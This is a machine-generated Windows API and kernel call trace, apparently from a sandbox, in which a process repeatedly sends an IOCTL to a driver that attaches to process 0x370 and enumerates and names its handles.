[0131.943] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.943] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00103b620, HandleInformation=0x0) returned 0x0 [0131.943] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.943] PsReleaseProcessExitSynchronization () returned 0x2 [0131.943] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.943] ObQueryNameString (in: Object=0xfffff8a00103b620, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.943] ObfDereferenceObject (Object=0xfffff8a00103b620) returned 0x2 [0131.943] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.943] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.943] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0131.943] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.943] PsAcquireProcessExitSynchronization () returned 0x0 [0131.944] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.944] ObReferenceObjectByHandle (in: Handle=0x50c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0131.944] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.944] PsReleaseProcessExitSynchronization () returned 0x2 [0131.944] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.944] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.944] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0131.944] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.944] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.944] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.944] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0131.944] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.944] PsAcquireProcessExitSynchronization () returned 0x0 [0131.944] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.944] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0131.944] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.944] PsReleaseProcessExitSynchronization () returned 0x2 [0131.944] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.944] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.944] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0131.944] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.944] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.944] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.944] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0131.944] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.944] PsAcquireProcessExitSynchronization () returned 0x0 [0131.944] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.944] ObReferenceObjectByHandle (in: Handle=0x518, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089ce580, HandleInformation=0x0) returned 0x0 [0131.944] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.944] PsReleaseProcessExitSynchronization () returned 0x2 [0131.944] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.944] ObQueryNameString (in: Object=0xfffff8a0089ce580, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.944] ObfDereferenceObject (Object=0xfffff8a0089ce580) returned 0x2 [0131.944] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.945] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.945] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0131.945] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.945] PsAcquireProcessExitSynchronization () returned 0x0 [0131.945] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0131.945] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003414070, HandleInformation=0x0) returned 0x0 [0131.945] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.945] PsReleaseProcessExitSynchronization () returned 0x2 [0131.945] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0131.945] ObQueryNameString (in: Object=0xfffffa8003414070, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.945] ObfDereferenceObject (Object=0xfffffa8003414070) returned 0x3 [0131.945] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.024] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.024] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.024] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0132.024] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.024] PsAcquireProcessExitSynchronization () returned 0x0 [0132.024] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.024] ObReferenceObjectByHandle (in: Handle=0x698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003437350, HandleInformation=0x0) returned 0x0 [0132.024] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.024] PsReleaseProcessExitSynchronization () returned 0x2 [0132.024] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.024] ObQueryNameString (in: Object=0xfffffa8003437350, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0132.024] ObfDereferenceObject (Object=0xfffffa8003437350) returned 0x1 [0132.024] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.024] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.024] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.024] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0132.024] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.024] PsAcquireProcessExitSynchronization () returned 0x0 [0132.024] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.025] ObReferenceObjectByHandle (in: Handle=0x6a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f7dad0, HandleInformation=0x0) returned 0x0 [0132.025] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.025] PsReleaseProcessExitSynchronization () returned 0x2 [0132.025] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.025] ObQueryNameString (in: Object=0xfffffa8002f7dad0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.025] ObfDereferenceObject (Object=0xfffffa8002f7dad0) returned 0x2 [0132.025] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.025] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.025] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0132.025] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.025] PsAcquireProcessExitSynchronization () returned 0x0 [0132.025] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.025] ObReferenceObjectByHandle (in: Handle=0x710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003436c70, HandleInformation=0x0) returned 0x0 [0132.025] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.025] PsReleaseProcessExitSynchronization () returned 0x2 [0132.025] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.025] ObQueryNameString (in: Object=0xfffffa8003436c70, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.025] ObfDereferenceObject (Object=0xfffffa8003436c70) returned 0x1 [0132.025] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.025] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.025] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0132.025] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.025] PsAcquireProcessExitSynchronization () returned 0x0 [0132.025] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.025] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003436f20, HandleInformation=0x0) returned 0x0 [0132.025] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.025] PsReleaseProcessExitSynchronization () returned 0x2 [0132.025] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.025] ObQueryNameString (in: Object=0xfffffa8003436f20, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.025] ObfDereferenceObject (Object=0xfffffa8003436f20) returned 0x1 [0132.026] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.026] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.026] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.026] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0132.026] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.026] PsAcquireProcessExitSynchronization () returned 0x0 [0132.026] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.026] ObReferenceObjectByHandle (in: Handle=0x71c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003437510, HandleInformation=0x0) returned 0x0 [0132.026] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.026] PsReleaseProcessExitSynchronization () returned 0x2 [0132.026] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.026] ObQueryNameString (in: Object=0xfffffa8003437510, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.026] ObfDereferenceObject (Object=0xfffffa8003437510) returned 0x1 [0132.026] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.026] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.026] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.026] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0132.026] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.026] PsAcquireProcessExitSynchronization () returned 0x0 [0132.026] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.026] ObReferenceObjectByHandle (in: Handle=0x798, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037852a0, HandleInformation=0x0) returned 0x0 [0132.026] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.026] PsReleaseProcessExitSynchronization () returned 0x2 [0132.026] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.026] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.026] ObfDereferenceObject (Object=0xfffffa80037852a0) returned 0x1 [0132.026] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.026] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.026] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.026] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.026] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.027] PsAcquireProcessExitSynchronization () returned 0x0 [0132.027] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.027] ObReferenceObjectByHandle (in: Handle=0x7a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800343b9c0, HandleInformation=0x0) returned 0x0 [0132.027] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.027] PsReleaseProcessExitSynchronization () returned 0x2 [0132.027] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.027] ObQueryNameString (in: Object=0xfffffa800343b9c0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.027] ObfDereferenceObject (Object=0xfffffa800343b9c0) returned 0x1 [0132.027] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.027] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.027] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.027] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0132.027] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.027] PsAcquireProcessExitSynchronization () returned 0x0 [0132.027] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.027] ObReferenceObjectByHandle (in: Handle=0x904, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003447950, HandleInformation=0x0) returned 0x0 [0132.027] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.027] PsReleaseProcessExitSynchronization () returned 0x2 [0132.027] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.027] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.027] ObfDereferenceObject (Object=0xfffffa8003447950) returned 0x12 [0132.027] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.027] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.027] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.027] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0132.027] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.027] PsAcquireProcessExitSynchronization () returned 0x0 [0132.027] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.027] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800344bbc0, HandleInformation=0x0) returned 0x0 [0132.027] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.027] PsReleaseProcessExitSynchronization () returned 0x2 [0132.028] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.028] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.028] ObfDereferenceObject (Object=0xfffffa800344bbc0) returned 0x12 [0132.028] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.028] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.028] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0132.028] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.028] PsAcquireProcessExitSynchronization () returned 0x0 [0132.028] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.028] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800344b740, HandleInformation=0x0) returned 0x0 [0132.028] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.028] PsReleaseProcessExitSynchronization () returned 0x2 [0132.028] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.028] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.028] ObfDereferenceObject (Object=0xfffffa800344b740) returned 0x12 [0132.028] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.028] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.028] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0132.028] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.028] PsAcquireProcessExitSynchronization () returned 0x0 [0132.028] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.028] ObReferenceObjectByHandle (in: Handle=0x910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f80070, HandleInformation=0x0) returned 0x0 [0132.028] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.028] PsReleaseProcessExitSynchronization () returned 0x2 [0132.028] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.028] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.028] ObfDereferenceObject (Object=0xfffffa8002f80070) returned 0xa 